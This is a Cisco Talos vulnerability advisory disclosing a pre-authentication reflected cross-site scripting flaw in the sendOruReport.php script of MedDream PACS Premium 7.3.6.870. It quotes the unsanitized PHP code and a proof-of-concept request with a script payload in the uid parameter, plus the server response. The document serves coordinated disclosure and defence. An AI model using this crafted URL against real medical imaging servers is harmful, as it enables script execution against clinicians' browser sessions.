Talos Vulnerability Report

TALOS-2025-2270

MedDream PACS Premium sendOruReport reflected cross-site scripting (XSS) vulnerability

January 20, 2026
CVE Number

CVE-2025-44000

SUMMARY

A reflected cross-site scripting (xss) vulnerability exists in the sendOruReport functionality of MedDream PACS Premium 7.3.6.870. A specially crafted malicious URL can lead to arbitrary javascript code execution. An attacker can provide a crafted URL to trigger this vulnerability.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

MedDream PACS Premium 7.3.6.870

PRODUCT URLS

MedDream PACS Premium - https://meddream.com/products/meddream-pacs-server/

CVSSv3 SCORE

6.1 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

CWE

CWE-79 - Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’)

DETAILS

MedDream PACS is a DICOM 3.0-compliant server for storing, managing, and retrieving medical images. It includes a web-based DICOM viewer and administration interface, with features like user access control, study forwarding, and multi-format image support.

A pre-authentication reflected cross-site scripting vulnerability exists in the functionality of the Pacs/sendOruReport.php script. The value of the uid parameter used in that script is written into the HTML output without any sanitization. The vulnerable code appears as follows:

// line 180

} else {
    $dbcon = new MyConnection();
    $username = $dbcon->username;
    $hl7app = $_GET["hl7app"];
    $studyUid = $_GET["uid"]; /// [1]
}

// line 208
} else {
    print "<h2><font color=red>";
    print "Failed to build HL7 ORU Report message for Dicom study: <u>$studyUid</u>";  /// [2]
    print "</font></h2>";
}

The $studyUid variable is set by the attacker and is fully controllable [1]. If there is no entry for specified uid value inside the database, $studyUid value is printed directly into the page content without sanitization [2], Example of a malicious request and response containing injected HTML/JavaScript code:

GET /Pacs/sendOruReport.php?uid=%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
Host: 192.168.0.42
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:141.0) Gecko/20100101 Firefox/141.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Upgrade-Insecure-Requests: 1
Priority: u=0, i

RESP

HTTP/1.1 200 OK
Date: Wed, 20 Aug 2025 13:15:12 GMT
Server: =^_^=
Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
X-Powered-By: PHP/8.3.22
Set-Cookie: PHPSESSID=f3a98e0198009872365980fae35cf361; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
X-Content-Type-Options: nosniff
X-Frame-Options: DENY
X-XSS-Protection: 1; mode=block
Referrer-Policy: no-referrer-when-downgrade
Permissions-Policy: geolocation=(), microphone=(), camera=()
Content-Length: 120
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=UTF-8

<h2><font color=red>Failed to build HL7 ORU Report message for Dicom study: <u><script>alert(1)</script></u></font></h2>
TIMELINE

2025-09-02 - Vendor Disclosure
2025-12-05 - Vendor Patch Release
2026-01-20 - Public Release

Credit

Discovered by Marcin 'Icewall' Noga of Cisco Talos.